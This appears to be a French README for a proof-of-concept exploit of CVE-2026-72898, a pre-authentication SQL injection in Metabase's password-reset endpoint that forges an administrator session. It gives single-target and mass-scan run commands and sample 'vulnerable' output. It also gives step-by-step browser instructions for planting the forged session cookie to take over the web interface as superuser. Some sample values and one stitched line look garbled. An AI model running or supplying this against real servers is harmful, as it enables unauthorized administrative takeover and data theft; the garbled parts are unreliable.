
Preuve de concept d'exploitation pour CVE-2026-72898, une injection SQL non authentifiée dans l'endpoint de réinitialisation du mot de passe de Metabase. Forge une session administrateur pour une prise de contrôle totale, avec des modes cible unique et scan de masse pour des tests autorisés.
Injection SQL avant authentification de Metabase menant à une prise de contrôle administrateur
Preuve de concept pour CVE-2026-72898, une injection SQL non authentifiée critique dans le point de terminaison de réinitialisation de mot de passe de Metabase. Le PoC injecte une ligne de session administrateur forgée dans la table core_session, puis l'utilise pour valider une session administrateur complète sans aucun identifiant.
Note : Ce PoC est réservé aux tests de sécurité autorisés et à la recherche. CVE-2026-72898 est répertorié dans le catalogue des vulnérabilités connues exploitées (KEV) de la CISA et est activement exploité dans la nature. Vous êtes responsable du respect de toutes les lois applicables et de l'obtention d'une autorisation écrite avant de tester tout système.
requestsInstaller les dépendances :
pip install requests
python cve-2026-72898_poc.py -t http://192.168.1.1:3000
python cve-2026-72898_poc.py -T targets.txt
CVE-2026-72898 | Metabase SQLi PoC
----------------------------------------
Target: http://192.168.1.1:3000
[1] GET http://192.168.1.1:3000/ -> 200
[2] POST /api/session/reset_password -> 400
(expected: Invalid reset token, SQLi executed)
[3] GET /api/user/current -> 200
[+] VULNERABLE
session id : 242x6a6cx-5388-aaf8-bl5c-afi46ic02198
key_hashed : 0f6005cbexf08948c08dd9272b439xfecwabxb4ntedd83bagb6337bx849b6xyi6
admin email: [email protected]
Une réponse 400 à l'étape 2 avec Invalid reset token est attendue — cela signifie que la charge utile SQLi a été exécutée et que la réponse a été court-circuitée. Le retour 200 à l'étape 3 sur /api/user/current confirme que la session forgée est valide.
Statuts des résultats : vulnerable | not_vulnerable | patched | root_not_200 | unknown | error
Metabase lit sa session à partir du cookie `metabase.SESSION` ; vous pouvez donc vous connecter à l'interface web en tant qu'administrateur forgé en ajoutant ce cookie :
**Google Chrome / Edge / Chromium**
1. Exécutez le PoC et copiez le `session id` affiché
2. Ouvrez `http://TARGET/` et appuyez sur `F12` (outils de développement)
3. Allez dans **Application** (dans Edge : **Application** ; dans Chrome : **Application**) → **Storage** → **Cookies** → sélectionnez l'hôte cible
4. Cliquez sur le bouton **+** (Add cookie) et remplissez :
- **Nom** : `metabase.SESSION`
- **Valeur** : `<SESSION_ID>` (la valeur affichée par le PoC)
- **Domaine** : l'hôte/IP cible (par ex. `192.168.1.1` ou `.example.com`)
- **Chemin** : `/`
- Définissez une expiration lointaine (ou cliquez sur « Session »)
5. Cliquez sur **Enregistrer**, puis actualisez la page
6. Vous êtes maintenant authentifié en tant que superutilisateur — l'icône d'engrenage administrateur sera visible
**Firefox**
1. Exécutez le PoC et copiez le `session id` affiché
2. Appuyez sur `F12` → onglet **Storage** → **Cookies** → sélectionnez l'hôte cible
3. Cliquez avec le bouton droit → **Ajouter/Modifier un cookie** et ajoutez :
- **Nom** : `metabase.SESSION`
- **Valeur** : `<SESSION_ID>`
- **Chemin** : `/`
- **HttpOnly** : décoché (JS le définit)
- **Secure** : décoché pour du HTTP simple
4. Enregistrez et actualisez la page
**Alternative : extension d'édition de cookies**
Utilisez n'importe quelle extension d'édition de cookies (par ex. Cookie-Editor) pour ajouter le cookie `metabase.SESSION` avec la valeur forgée sur le domaine cible, puis actualisez la page.
**Depuis la console du navigateur**
```js
fetch('/api/user/current', { headers: { 'X-Metabase-Session': '<SESSION_ID>' } })
.then(r => r.json()).then(console.log)
/api/session/reset_password au niveau du réseau/WAFSi ce projet vous a aidé, pensez à soutenir son développement :
TDCPYioWbZW4iyMCuHhJeFsUZJ88YqZWc1

0xf6eA555f95ed5b356fF7a90E6461EbBF6ce105cE

| Argument | Description | Défaut |
|---|
-t, --target | URL de cible unique | - |
-T, --targets | Fichier contenant les URL cibles, une par ligne | - |
-o, --output | Fichier de résultats (séparé par des tabulations : target, result, status, session_id, admin_email) | - |
--timeout | Délai d'attente de la requête en secondes | 15 |